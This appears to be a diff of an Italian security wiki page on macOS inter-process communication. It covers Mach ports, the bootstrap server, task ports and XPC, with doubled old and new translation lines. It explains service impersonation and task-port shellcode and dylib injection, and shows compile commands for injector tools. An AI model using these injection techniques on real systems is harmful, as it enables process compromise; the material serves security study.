- Questo diritto **non può** essere **clonato**, ma può essere **spostato**.
- **Diritto di insieme di porte**, che denota un _insieme di porte_ piuttosto che una singola porta. Dequeuing un messaggio da un insieme di porte dequeues un messaggio da una delle porte che contiene. Gli insiemi di porte possono essere utilizzati per ascoltare su più porte contemporaneamente, molto simile a `select`/`poll`/`epoll`/`kqueue` in Unix.
- **Diritto di insieme di porte**, che denota un _insieme di porte_ piuttosto che una singola porta. Dequeuing un messaggio da un insieme di porte estrae un messaggio da una delle porte che contiene. Gli insiemi di porte possono essere utilizzati per ascoltare su più porte simultaneamente, molto simile a `select`/`poll`/`epoll`/`kqueue` in Unix.
- **Nome morto**, che non è un vero e proprio diritto di porta, ma semplicemente un segnaposto. Quando una porta viene distrutta, tutti i diritti di porta esistenti per la porta si trasformano in nomi morti.
**I compiti possono trasferire diritti di INVIO ad altri**, consentendo loro di inviare messaggi di ritorno. **I diritti di INVIO possono anche essere clonati, quindi un compito può duplicare e dare il diritto a un terzo compito**. Questo, combinato con un processo intermedio noto come **bootstrap server**, consente una comunicazione efficace tra i compiti.
**I task possono trasferire diritti di INVIO ad altri**, consentendo loro di inviare messaggi di ritorno. **I diritti di INVIO possono anche essere clonati, quindi un task può duplicare e dare il diritto a un terzo task**. Questo, combinato con un processo intermedio noto come **bootstrap server**, consente una comunicazione efficace tra i task.
### Porte di File
### File Ports
Le porte di file consentono di incapsulare descrittori di file in porte Mac (utilizzando diritti di porta Mach). È possibile creare un `fileport` da un FD dato utilizzando `fileport_makeport` e creare un FD da un fileport utilizzando `fileport_makefd`.
Le porte file consentono di incapsulare descrittori di file in porte Mac (utilizzando diritti di porta Mach). È possibile creare un `fileport` da un FD dato utilizzando `fileport_makeport` e creare un FD da un fileport utilizzando `fileport_makefd`.
### Stabilire una comunicazione
### Establishing a communication
Come accennato in precedenza, è possibile inviare diritti utilizzando messaggi Mach, tuttavia, **non è possibile inviare un diritto senza avere già un diritto** per inviare un messaggio Mach. Quindi, come viene stabilita la prima comunicazione?
Come accennato in precedenza, è possibile inviare diritti utilizzando messaggi Mach, tuttavia, **non puoi inviare un diritto senza avere già un diritto** per inviare un messaggio Mach. Quindi, come viene stabilita la prima comunicazione?
Per questo, il **bootstrap server** (**launchd** in mac) è coinvolto, poiché **chiunque può ottenere un diritto di INVIO al bootstrap server**, è possibile chiedergli un diritto per inviare un messaggio a un altro processo:
1. Il compito **A** crea una **nuova porta**, ottenendo il **DIRITTO DI RICEZIONE** su di essa.
2. Il compito **A**, essendo il detentore del diritto di ricezione, **genera un diritto di INVIO per la porta**.
3. Il compito **A** stabilisce una **connessione** con il **bootstrap server**, e **gli invia il diritto di INVIO** per la porta che ha generato all'inizio.
1. Il task **A** crea una **nuova porta**, ottenendo il **DIRITTO DI RICEZIONE** su di essa.
2. Il task **A**, essendo il detentore del diritto di ricezione, **genera un diritto di INVIO per la porta**.
3. Il task **A** stabilisce una **connessione** con il **bootstrap server**, e **gli invia il diritto di INVIO** per la porta che ha generato all'inizio.
- Ricorda che chiunque può ottenere un diritto di INVIO al bootstrap server.
4. Il compito A invia un messaggio `bootstrap_register` al bootstrap server per **associare la porta data a un nome** come `com.apple.taska`
5. Il compito **B** interagisce con il **bootstrap server** per eseguire una **ricerca bootstrap per il nome del servizio** (`bootstrap_lookup`). Affinché il bootstrap server possa rispondere, il compito B gli invierà un **diritto di INVIO a una porta che ha precedentemente creato** all'interno del messaggio di ricerca. Se la ricerca ha successo, il **server duplica il diritto di INVIO** ricevuto dal compito A e **lo trasmette al compito B**.
4. Il task A invia un messaggio `bootstrap_register` al bootstrap server per **associare la porta data a un nome** come `com.apple.taska`
5. Il task **B** interagisce con il **bootstrap server** per eseguire un bootstrap **lookup per il nome del servizio** (`bootstrap_lookup`). Affinché il bootstrap server possa rispondere, il task B gli invierà un **diritto di INVIO a una porta che ha precedentemente creato** all'interno del messaggio di lookup. Se il lookup ha successo, il **server duplica il diritto di INVIO** ricevuto dal Task A e **lo trasmette al Task B**.
- Ricorda che chiunque può ottenere un diritto di INVIO al bootstrap server.
6. Con questo diritto di INVIO, **il compito B** è in grado di **inviare** un **messaggio** **al compito A**.
7. Per una comunicazione bidirezionale, di solito il compito **B** genera una nuova porta con un **DIRITTO DI RICEZIONE** e un **DIRITTO DI INVIO**, e dà il **DIRITTO DI INVIO al compito A** in modo che possa inviare messaggi al COMPITO B (comunicazione bidirezionale).
6. Con questo diritto di INVIO, **Task B** è in grado di **inviare** un **messaggio** **al Task A**.
7. Per una comunicazione bidirezionale, di solito il task **B** genera una nuova porta con un **DIRITTO DI RICEZIONE** e un **DIRITTO DI INVIO**, e dà il **DIRITTO DI INVIO al Task A** in modo che possa inviare messaggi al TASK B (comunicazione bidirezionale).
Il bootstrap server **non può autenticare** il nome del servizio rivendicato da un compito. Ciò significa che un **compito** potrebbe potenzialmente **impersonare qualsiasi compito di sistema**, come rivendicare falsamente un nome di servizio di autorizzazione e poi approvare ogni richiesta.
Il bootstrap server **non può autenticare** il nome del servizio rivendicato da un task. Questo significa che un **task** potrebbe potenzialmente **impersonare qualsiasi task di sistema**, come rivendicare falsamente un nome di servizio di autorizzazione e poi approvare ogni richiesta.
Successivamente, Apple memorizza i **nomi dei servizi forniti dal sistema** in file di configurazione sicuri, situati in directory **protette da SIP**: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Accanto a ciascun nome di servizio, è anche memorizzato il **binario associato**. Il bootstrap server creerà e manterrà un **DIRITTO DI RICEZIONE per ciascuno di questi nomi di servizio**.
Poi, Apple memorizza i **nomi dei servizi forniti dal sistema** in file di configurazione sicuri, situati in directory **protette da SIP**: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Accanto a ciascun nome di servizio, il **binario associato è anche memorizzato**. Il bootstrap server creerà e manterrà un **DIRITTO DI RICEZIONE per ciascuno di questi nomi di servizio**.
Per questi servizi predefiniti, il **processo di ricerca differisce leggermente**. Quando un nome di servizio viene cercato, launchd avvia il servizio dinamicamente. Il nuovo flusso di lavoro è il seguente:
Per questi servizi predefiniti, il **processo di lookup differisce leggermente**. Quando un nome di servizio viene cercato, launchd avvia il servizio dinamicamente. Il nuovo flusso di lavoro è il seguente:
- Il compito **B** avvia una **ricerca bootstrap** per un nome di servizio.
- **launchd** controlla se il compito è in esecuzione e, se non lo è, **lo avvia**.
- Il compito **A** (il servizio) esegue un **check-in bootstrap** (`bootstrap_check_in()`). Qui, il **bootstrap** server crea un diritto di INVIO, lo trattiene e **trasferisce il diritto di RICEZIONE al compito A**.
- launchd duplica il **DIRITTO DI INVIO e lo invia al compito B**.
- Il compito **B** genera una nuova porta con un **DIRITTO DI RICEZIONE** e un **DIRITTO DI INVIO**, e dà il **DIRITTO DI INVIO al compito A** (il svc) in modo che possa inviare messaggi al COMPITO B (comunicazione bidirezionale).
- Il task **B** avvia un bootstrap **lookup** per un nome di servizio.
- **launchd** controlla se il task è in esecuzione e, se non lo è, **lo avvia**.
- Il task **A** (il servizio) esegue un **bootstrap check-in** (`bootstrap_check_in()`). Qui, il **bootstrap** server crea un diritto di INVIO, lo trattiene e **trasferisce il diritto di RICEZIONE al Task A**.
- launchd duplica il **diritto di INVIO e lo invia al Task B**.
- Il task **B** genera una nuova porta con un **DIRITTO DI RICEZIONE** e un **DIRITTO DI INVIO**, e dà il **DIRITTO DI INVIO al Task A** (il svc) in modo che possa inviare messaggi al TASK B (comunicazione bidirezionale).
Tuttavia, questo processo si applica solo ai compiti di sistema predefiniti. I compiti non di sistema operano ancora come descritto originariamente, il che potrebbe potenzialmente consentire l'impersonificazione.
Tuttavia, questo processo si applica solo ai task di sistema predefiniti. I task non di sistema operano ancora come descritto originariamente, il che potrebbe potenzialmente consentire l'impersonificazione.
> [!CAUTION]
> Pertanto, launchd non dovrebbe mai bloccarsi o l'intero sistema si bloccherà.
> Pertanto, launchd non dovrebbe mai andare in crash o l'intero sistema andrà in crash.
### Un Messaggio Mach
### A Mach Message
[Trova ulteriori informazioni qui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
La funzione `mach_msg`, essenzialmente una chiamata di sistema, è utilizzata per inviare e ricevere messaggi Mach. La funzione richiede che il messaggio da inviare sia l'argomento iniziale. Questo messaggio deve iniziare con una struttura `mach_msg_header_t`, seguita dal contenuto del messaggio effettivo. La struttura è definita come segue:
La funzione `mach_msg`, essenzialmente una chiamata di sistema, viene utilizzata per inviare e ricevere messaggi Mach. La funzione richiede che il messaggio da inviare sia il primo argomento. Questo messaggio deve iniziare con una struttura `mach_msg_header_t`, seguita dal contenuto del messaggio effettivo. La struttura è definita come segue:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
@ -89,11 +89,11 @@ I process che possiedono un _**diritto di ricezione**_ possono ricevere messaggi
Il campo iniziale **`msgh_bits`** è un bitmap:
- Il primo bit (il più significativo) è utilizzato per indicare che un messaggio è complesso (ne parleremo più avanti)
- Il 3° e il 4° sono utilizzati dal kernel
- I **5 bit meno significativi del 2° byte** possono essere utilizzati per **voucher**: un altro tipo di porta per inviare combinazioni chiave/valore.
- I **5 bit meno significativi del 3° byte** possono essere utilizzati per **porta locale**
- I **5 bit meno significativi del 4° byte** possono essere utilizzati per **porta remota**
- Il primo bit (il più significativo) è usato per indicare che un messaggio è complesso (ne parleremo più avanti)
- Il 3° e il 4° sono usati dal kernel
- I **5 bit meno significativi del 2° byte** possono essere usati per **voucher**: un altro tipo di porta per inviare combinazioni chiave/valore.
- I **5 bit meno significativi del 3° byte** possono essere usati per **porta locale**
- I **5 bit meno significativi del 4° byte** possono essere usati per **porta remota**
I tipi che possono essere specificati nel voucher, nelle porte locali e remote sono (da [**mach/message.h**](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
```c
@ -110,7 +110,7 @@ I tipi che possono essere specificati nel voucher, nelle porte locali e remote s
```
Per esempio, `MACH_MSG_TYPE_MAKE_SEND_ONCE` può essere utilizzato per **indicare** che un **diritto di invio una sola volta** dovrebbe essere derivato e trasferito per questa porta. Può anche essere specificato `MACH_PORT_NULL` per impedire al destinatario di poter rispondere.
Per ottenere una facile **comunicazione bi-direzionale**, un processo può specificare una **mach port** nell'intestazione del **messaggio mach** chiamata _porta di risposta_ (**`msgh_local_port`**) dove il **ricevitore** del messaggio può **inviare una risposta** a questo messaggio.
Per ottenere una facile **comunicazione bi-direzionale**, un processo può specificare una **mach port** nell'intestazione del **messaggio mach** chiamata _porta di risposta_ (**`msgh_local_port`**) dove il **ricevente** del messaggio può **inviare una risposta** a questo messaggio.
> [!TIP]
> Nota che questo tipo di comunicazione bi-direzionale è utilizzato nei messaggi XPC che si aspettano una risposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Ma **di solito vengono create porte diverse** come spiegato in precedenza per creare la comunicazione bi-direzionale.
@ -120,10 +120,10 @@ Gli altri campi dell'intestazione del messaggio sono:
- `msgh_size`: la dimensione dell'intero pacchetto.
- `msgh_remote_port`: la porta sulla quale questo messaggio è inviato.
- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html).
- `msgh_id`: l'ID di questo messaggio, che è interpretato dal ricevitore.
- `msgh_id`: l'ID di questo messaggio, che è interpretato dal ricevente.
> [!CAUTION]
> Nota che **i messaggi mach sono inviati su una `mach port`**, che è un canale di comunicazione **a singolo ricevitore**, **multi-inviatore** integrato nel kernel mach. **Più processi** possono **inviare messaggi** a una mach port, ma in qualsiasi momento solo **un singolo processo può leggere** da essa.
> Nota che **i messaggi mach vengono inviati su una `mach port`**, che è un canale di comunicazione **a singolo ricevente**, **multi-inviatore** integrato nel kernel mach. **Più processi** possono **inviare messaggi** a una mach port, ma in qualsiasi momento solo **un singolo processo può leggere** da essa.
I messaggi sono quindi formati dall'intestazione **`mach_msg_header_t`** seguita dal **corpo** e dal **trailer** (se presente) e possono concedere il permesso di rispondere. In questi casi, il kernel deve solo passare il messaggio da un'attività all'altra.
@ -205,7 +205,7 @@ frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
</code></pre>
Per ottenere gli argomenti di **`mach_msg`**, controlla i registri. Questi sono gli argomenti (da [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
Per ottenere gli argomenti di **`mach_msg`** controlla i registri. Questi sono gli argomenti (da [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
```c
__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t mach_msg(
@ -267,7 +267,7 @@ name ipc-object rights flags boost reqs recv send sonce oref q
+ send -------- --- 1 <- 0x00002603 (74295) passd
[...]
```
Il **nome** è il nome predefinito assegnato alla porta (controlla come **aumenta** nei primi 3 byte). L'**`ipc-object`** è l'**identificatore** unico **offuscato** della porta.\
Il **nome** è il nome predefinito assegnato alla porta (controlla come sta **aumentando** nei primi 3 byte). L'**`ipc-object`** è l'**identificatore** unico **offuscato** della porta.\
Nota anche come le porte con solo diritti di **`send`** stanno **identificando il proprietario** (nome della porta + pid).\
Nota anche l'uso di **`+`** per indicare **altri compiti collegati alla stessa porta**.
@ -424,7 +424,7 @@ Quelle che iniziano **dal** numero **8** sono **di proprietà dei demoni di sist
- `host_virtual_physical_table_info`: Tabella delle pagine Virtuali/Fisiche (richiede MACH_VMDEBUG)
- `host_statistics`: Ottieni statistiche dell'host
- `mach_memory_info`: Ottieni layout della memoria del kernel
- **Porte Privilege**: Un processo con diritto **SEND** su questa porta può eseguire **azioni privilegiate** come mostrare dati di avvio o tentare di caricare un'estensione del kernel. Il **processo deve essere root** per ottenere questo permesso.
- **Porte Privilege host**: Un processo con diritto **SEND** su questa porta può eseguire **azioni privilegiate** come mostrare dati di avvio o tentare di caricare un'estensione del kernel. Il **processo deve essere root** per ottenere questo permesso.
- Inoltre, per chiamare l'API **`kext_request`** è necessario avere altri diritti **`com.apple.private.kext*`** che sono concessi solo ai binari Apple.
- Altre routine che possono essere chiamate sono:
- `host_get_boot_info`: Ottieni `machine_boot_info()`
@ -451,8 +451,6 @@ world.*/
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
```
Da [qui](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_get_special_port.html):
- **TASK_KERNEL_PORT**\[diritto di invio task-self]: La porta utilizzata per controllare questo task. Usata per inviare messaggi che influenzano il task. Questa è la porta restituita da **mach_task_self (vedi Task Ports qui sotto)**.
- **TASK_BOOTSTRAP_PORT**\[diritto di invio bootstrap]: La porta di bootstrap del task. Usata per inviare messaggi che richiedono il ritorno di altre porte di servizio di sistema.
- **TASK_HOST_NAME_PORT**\[diritto di invio host-self]: La porta utilizzata per richiedere informazioni sull'host contenitore. Questa è la porta restituita da **mach_host_self**.
@ -461,7 +459,7 @@ Da [qui](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_get_special_p
### Task Ports
Originariamente Mach non aveva "processi", aveva "tasks" che erano considerati più come un contenitore di thread. Quando Mach è stato fuso con BSD **ogni task era correlato a un processo BSD**. Pertanto, ogni processo BSD ha i dettagli necessari per essere un processo e ogni task Mach ha anche il suo funzionamento interno (eccetto per il pid 0 inesistente che è il `kernel_task`).
Originariamente Mach non aveva "processi", aveva "task" che erano considerati più come un contenitore di thread. Quando Mach è stato fuso con BSD **ogni task era correlato a un processo BSD**. Pertanto, ogni processo BSD ha i dettagli necessari per essere un processo e ogni task Mach ha anche il suo funzionamento interno (eccetto per il pid 0 inesistente che è il `kernel_task`).
Ci sono due funzioni molto interessanti relative a questo:
@ -483,12 +481,12 @@ Per eseguire azioni all'interno del task, il task ha bisogno di un diritto di `S
Inoltre, la task_port è anche la porta **`vm_map`** che consente di **leggere e manipolare la memoria** all'interno di un task con funzioni come `vm_read()` e `vm_write()`. Questo significa fondamentalmente che un task con diritti di INVIO sulla task_port di un task diverso sarà in grado di **iniettare codice in quel task**.
Ricorda che poiché il **kernel è anche un task**, se qualcuno riesce a ottenere un **diritto di INVIO** sul **`kernel_task`**, sarà in grado di far eseguire al kernel qualsiasi cosa (jailbreak).
Ricorda che poiché il **kernel è anche un task**, se qualcuno riesce a ottenere un **permesso di INVIO** sul **`kernel_task`**, sarà in grado di far eseguire al kernel qualsiasi cosa (jailbreak).
- Chiama `mach_task_self()` per **ottenere il nome** per questa porta per il task chiamante. Questa porta è solo **ereditata** attraverso **`exec()`**; un nuovo task creato con `fork()` ottiene una nuova porta task (come caso speciale, un task ottiene anche una nuova porta task dopo `exec()` in un binario suid). L'unico modo per generare un task e ottenere la sua porta è eseguire il ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) mentre si esegue un `fork()`.
- Queste sono le restrizioni per accedere alla porta (da `macos_task_policy` dal binario `AppleMobileFileIntegrity`):
- Se l'app ha l'**entitlement `com.apple.security.get-task-allow`**, i processi dello **stesso utente possono accedere alla porta task** (comunemente aggiunto da Xcode per il debug). Il processo di **notarizzazione** non lo consentirà per le versioni di produzione.
- Le app con l'**entitlement `com.apple.system-task-ports`** possono ottenere la **porta task per qualsiasi** processo, tranne il kernel. Nelle versioni precedenti era chiamato **`task_for_pid-allow`**. Questo è concesso solo alle applicazioni Apple.
- Se l'app ha il **diritto `com.apple.security.get-task-allow`** i processi dello **stesso utente possono accedere alla porta task** (comunemente aggiunto da Xcode per il debug). Il processo di **notarizzazione** non lo consentirà per le versioni di produzione.
- Le app con il diritto **`com.apple.system-task-ports`** possono ottenere la **porta task per qualsiasi** processo, tranne il kernel. Nelle versioni precedenti era chiamato **`task_for_pid-allow`**. Questo è concesso solo alle applicazioni Apple.
- **Root può accedere alle porte task** delle applicazioni **non** compilate con un runtime **indurito** (e non da Apple).
**La porta del nome del task:** Una versione non privilegiata della _porta task_. Riferisce al task, ma non consente di controllarlo. L'unica cosa che sembra essere disponibile attraverso di essa è `task_info()`.
@ -510,6 +508,7 @@ Qualsiasi thread può ottenere questa porta chiamando **`mach_thread_sef`**.
Puoi prendere un shellcode da:
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
@ -560,7 +559,7 @@ return 0;
{{#endtab}}
{{#endtabs}}
**Compila** il programma precedente e aggiungi i **diritti** per poter iniettare codice con lo stesso utente (se no dovrai usare **sudo**).
**Compila** il programma precedente e aggiungi i **diritti** per poter iniettare codice con lo stesso utente (altrimenti dovrai usare **sudo**).
<details>
@ -770,7 +769,7 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
> [!TIP]
> Per far funzionare questo su iOS, hai bisogno del diritto `dynamic-codesigning` per poter creare un'eseguibile in memoria scrivibile.
> Per far funzionare questo su iOS, hai bisogno del diritto `dynamic-codesigning` per poter rendere eseguibile un'area di memoria scrivibile.
### Iniezione di Dylib in thread tramite Task port
@ -780,7 +779,8 @@ In macOS **i thread** possono essere manipolati tramite **Mach** o utilizzando *
Pertanto, per **migliorare il thread**, dovrebbe chiamare **`pthread_create_from_mach_thread`** che **creerà un pthread valido**. Poi, questo nuovo pthread potrebbe **chiamare dlopen** per **caricare un dylib** dal sistema, quindi invece di scrivere nuovo shellcode per eseguire azioni diverse, è possibile caricare librerie personalizzate.
Puoi trovare **dylibs di esempio** in (ad esempio quello che genera un log e poi puoi ascoltarlo):
Puoi trovare **dylibs di esempio** in (ad esempio, quello che genera un log e poi puoi ascoltarlo):
{{#ref}}
../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md
@ -1068,19 +1068,20 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
In questa tecnica un thread del processo viene hijackato:
{{#ref}}
macos-thread-injection-via-task-port.md
{{#endref}}
### Task Port Injection Detection
Quando si chiama `task_for_pid` o `thread_create_*` si incrementa un contatore nella struct task dal kernel che può essere accessibile dalla modalità utente chiamando task_info(task, TASK_EXTMOD_INFO, ...)
Quando si chiama `task_for_pid` o `thread_create_*` si incrementa un contatore nella struct task del kernel che può essere accessibile dalla modalità utente chiamando task_info(task, TASK_EXTMOD_INFO, ...)
## Exception Ports
Quando si verifica un'eccezione in un thread, questa eccezione viene inviata al porto di eccezione designato del thread. Se il thread non la gestisce, allora viene inviata ai porti di eccezione del task. Se il task non la gestisce, allora viene inviata al porto host che è gestito da launchd (dove verrà riconosciuta). Questo è chiamato triage delle eccezioni.
Nota che alla fine, di solito, se non gestita correttamente, la segnalazione finirà per essere gestita dal demone ReportCrash. Tuttavia, è possibile che un altro thread nello stesso task gestisca l'eccezione, questo è ciò che fanno gli strumenti di reportistica degli arresti come `PLCreashReporter`.
Nota che alla fine, di solito, se non gestita correttamente, il report finirà per essere gestito dal demone ReportCrash. Tuttavia, è possibile che un altro thread nello stesso task gestisca l'eccezione, questo è ciò che fanno gli strumenti di reportistica degli arresti come `PLCreashReporter`.
## Other Objects
@ -1222,6 +1223,7 @@ XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication
For more information about how this **communication work** on how it **could be vulnerable** check:
{{#ref}}
macos-xpc/
{{#endref}}
@ -1234,6 +1236,7 @@ MIC basically **generates the needed code** for server and client to communicate
For more info check:
{{#ref}}
macos-mig-mach-interface-generator.md
{{#endref}}

24
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md
View File

@ -20,7 +20,7 @@ L'unico **svantaggio** è che **separare un'applicazione in più processi** face
I componenti XPC di un'applicazione sono **all'interno dell'applicazione stessa.** Ad esempio, in Safari puoi trovarli in **`/Applications/Safari.app/Contents/XPCServices`**. Hanno estensione **`.xpc`** (come **`com.apple.Safari.SandboxBroker.xpc`**) e sono **anche bundle** con il binario principale al suo interno: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` e un `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
Come potresti pensare, un **componente XPC avrà diritti e privilegi diversi** rispetto agli altri componenti XPC o al binario principale dell'app. ECCETTO se un servizio XPC è configurato con [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) impostato su “True” nel suo **Info.plist**. In questo caso, il servizio XPC verrà eseguito nella **stessa sessione di sicurezza dell'applicazione** che lo ha chiamato.
Come potresti pensare, un **componente XPC avrà diritti e privilegi diversi** rispetto agli altri componenti XPC o al binario principale dell'app. ECCETTO se un servizio XPC è configurato con [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) impostato su “True” nel suo **file Info.plist**. In questo caso, il servizio XPC verrà eseguito nella **stessa sessione di sicurezza dell'applicazione** che lo ha chiamato.
I servizi XPC sono **avviati** da **launchd** quando necessario e **chiusi** una volta completati tutti i compiti per liberare risorse di sistema. **I componenti XPC specifici per l'applicazione possono essere utilizzati solo dall'applicazione**, riducendo così il rischio associato a potenziali vulnerabilità.
@ -73,7 +73,7 @@ Inoltre, la funzione `xpc_copy_description(object)` può essere utilizzata per o
Questi oggetti hanno anche alcuni metodi da chiamare come `xpc_<object>_copy`, `xpc_<object>_equal`, `xpc_<object>_hash`, `xpc_<object>_serialize`, `xpc_<object>_deserialize`...
Gli `xpc_object_t` vengono creati chiamando la funzione `xpc_<objetType>_create`, che internamente chiama `_xpc_base_create(Class, Size)` dove viene indicato il tipo della classe dell'oggetto (uno di `XPC_TYPE_*`) e la sua dimensione (alcuni extra 40B verranno aggiunti alla dimensione per i metadati). Ciò significa che i dati dell'oggetto inizieranno all'offset di 40B.\
Pertanto, il `xpc_<objectType>_t` è una sorta di sottoclasse di `xpc_object_t` che sarebbe una sottoclasse di `os_object_t*`.
Pertanto, il `xpc_<objectType>_t` è una sorta di sottoclasse di `xpc_object_t`, che sarebbe una sottoclasse di `os_object_t*`.
> [!WARNING]
> Nota che dovrebbe essere lo sviluppatore a utilizzare `xpc_dictionary_[get/set]_<objectType>` per ottenere o impostare il tipo e il valore reale di una chiave.
@ -81,11 +81,11 @@ Pertanto, il `xpc_<objectType>_t` è una sorta di sottoclasse di `xpc_object_t`
- **`xpc_pipe`**
Un **`xpc_pipe`** è un tubo FIFO che i processi possono utilizzare per comunicare (la comunicazione utilizza messaggi Mach).\
È possibile creare un server XPC chiamando `xpc_pipe_create()` o `xpc_pipe_create_from_port()` per crearlo utilizzando una porta Mach specifica. Poi, per ricevere messaggi, è possibile chiamare `xpc_pipe_receive` e `xpc_pipe_try_receive`.
È possibile creare un server XPC chiamando `xpc_pipe_create()` o `xpc_pipe_create_from_port()` per crearlo utilizzando un port Mach specifico. Poi, per ricevere messaggi, è possibile chiamare `xpc_pipe_receive` e `xpc_pipe_try_receive`.
Nota che l'oggetto **`xpc_pipe`** è un **`xpc_object_t`** con informazioni nella sua struct riguardo le due porte Mach utilizzate e il nome (se presente). Il nome, ad esempio, il demone `secinitd` nel suo plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` configura il tubo chiamato `com.apple.secinitd`.
Nota che l'oggetto **`xpc_pipe`** è un **`xpc_object_t`** con informazioni nella sua struct riguardo ai due port Mach utilizzati e al nome (se presente). Il nome, ad esempio, il demone `secinitd` nel suo plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` configura il tubo chiamato `com.apple.secinitd`.
Un esempio di **`xpc_pipe`** è il **bootstrap pipe** creato da **`launchd`** che rende possibile la condivisione delle porte Mach.
Un esempio di un **`xpc_pipe`** è il **bootstrap pipe** creato da **`launchd`**, che rende possibile la condivisione dei port Mach.
- **`NSXPC*`**
@ -98,14 +98,14 @@ XPC utilizza GCD per inviare messaggi, inoltre genera alcune code di dispatch co
## Servizi XPC
Questi sono **pacchetti con estensione `.xpc`** situati all'interno della cartella **`XPCServices`** di altri progetti e nel `Info.plist` hanno il `CFBundlePackageType` impostato su **`XPC!`**.\
Questo file ha altre chiavi di configurazione come `ServiceType` che può essere Application, User, System o `_SandboxProfile` che può definire un sandbox o `_AllowedClients` che potrebbe indicare diritti o ID richiesti per contattare il ser. queste e altre opzioni di configurazione saranno utili per configurare il servizio al momento del lancio.
Questi sono **bundle con estensione `.xpc`** situati all'interno della cartella **`XPCServices`** di altri progetti e nel `Info.plist` hanno il `CFBundlePackageType` impostato su **`XPC!`**.\
Questo file ha altre chiavi di configurazione come `ServiceType`, che può essere Application, User, System o `_SandboxProfile`, che può definire un sandbox, o `_AllowedClients`, che potrebbe indicare diritti o ID richiesti per contattare il server. Queste e altre opzioni di configurazione saranno utili per configurare il servizio al momento del lancio.
### Avviare un Servizio
L'app tenta di **connettersi** a un servizio XPC utilizzando `xpc_connection_create_mach_service`, quindi launchd localizza il demone e avvia **`xpcproxy`**. **`xpcproxy`** applica le restrizioni configurate e genera il servizio con i FDs e le porte Mach forniti.
L'app tenta di **connettersi** a un servizio XPC utilizzando `xpc_connection_create_mach_service`, quindi launchd localizza il demone e avvia **`xpcproxy`**. **`xpcproxy`** applica le restrizioni configurate e genera il servizio con i FD e i port Mach forniti.
Per migliorare la velocità di ricerca del servizio XPC, viene utilizzata una cache.
Per migliorare la velocità della ricerca del servizio XPC, viene utilizzata una cache.
È possibile tracciare le azioni di `xpcproxy` utilizzando:
```bash
@ -120,7 +120,7 @@ Le applicazioni possono **iscriversi** a diversi **messaggi di evento**, consent
### Controllo del Processo di Connessione XPC
Quando un processo tenta di chiamare un metodo tramite una connessione XPC, il **servizio XPC dovrebbe controllare se quel processo è autorizzato a connettersi**. Ecco i modi comuni per controllarlo e le insidie comuni:
Quando un processo tenta di chiamare un metodo tramite una connessione XPC, il **servizio XPC dovrebbe controllare se quel processo è autorizzato a connettersi**. Ecco i modi comuni per controllare ciò e le insidie comuni:
{{#ref}}
macos-xpc-connecting-process-check/
@ -440,13 +440,13 @@ return;
## Remote XPC
Questa funzionalità fornita da `RemoteXPC.framework` (da `libxpc`) consente di comunicare tramite XPC tra diversi host.\
I servizi che supportano XPC remoto avranno nel loro plist la chiave UsesRemoteXPC come nel caso di `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`. Tuttavia, sebbene il servizio sia registrato con `launchd`, è `UserEventAgent` con i plugin `com.apple.remoted.plugin` e `com.apple.remoteservicediscovery.events.plugin` a fornire la funzionalità.
I servizi che supportano remote XPC avranno nel loro plist la chiave UsesRemoteXPC come nel caso di `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`. Tuttavia, sebbene il servizio sia registrato con `launchd`, è `UserEventAgent` con i plugin `com.apple.remoted.plugin` e `com.apple.remoteservicediscovery.events.plugin` a fornire la funzionalità.
Inoltre, il `RemoteServiceDiscovery.framework` consente di ottenere informazioni dal `com.apple.remoted.plugin` esponendo funzioni come `get_device`, `get_unique_device`, `connect`...
Una volta utilizzato connect e raccolto il socket `fd` del servizio, è possibile utilizzare la classe `remote_xpc_connection_*`.
È possibile ottenere informazioni sui servizi remoti utilizzando lo strumento cli `/usr/libexec/remotectl` utilizzando parametri come:
È possibile ottenere informazioni sui servizi remoti utilizzando lo strumento cli `/usr/libexec/remotectl` con parametri come:
```bash
/usr/libexec/remotectl list # Get bridge devices
/usr/libexec/remotectl show ...# Get device properties and services

24
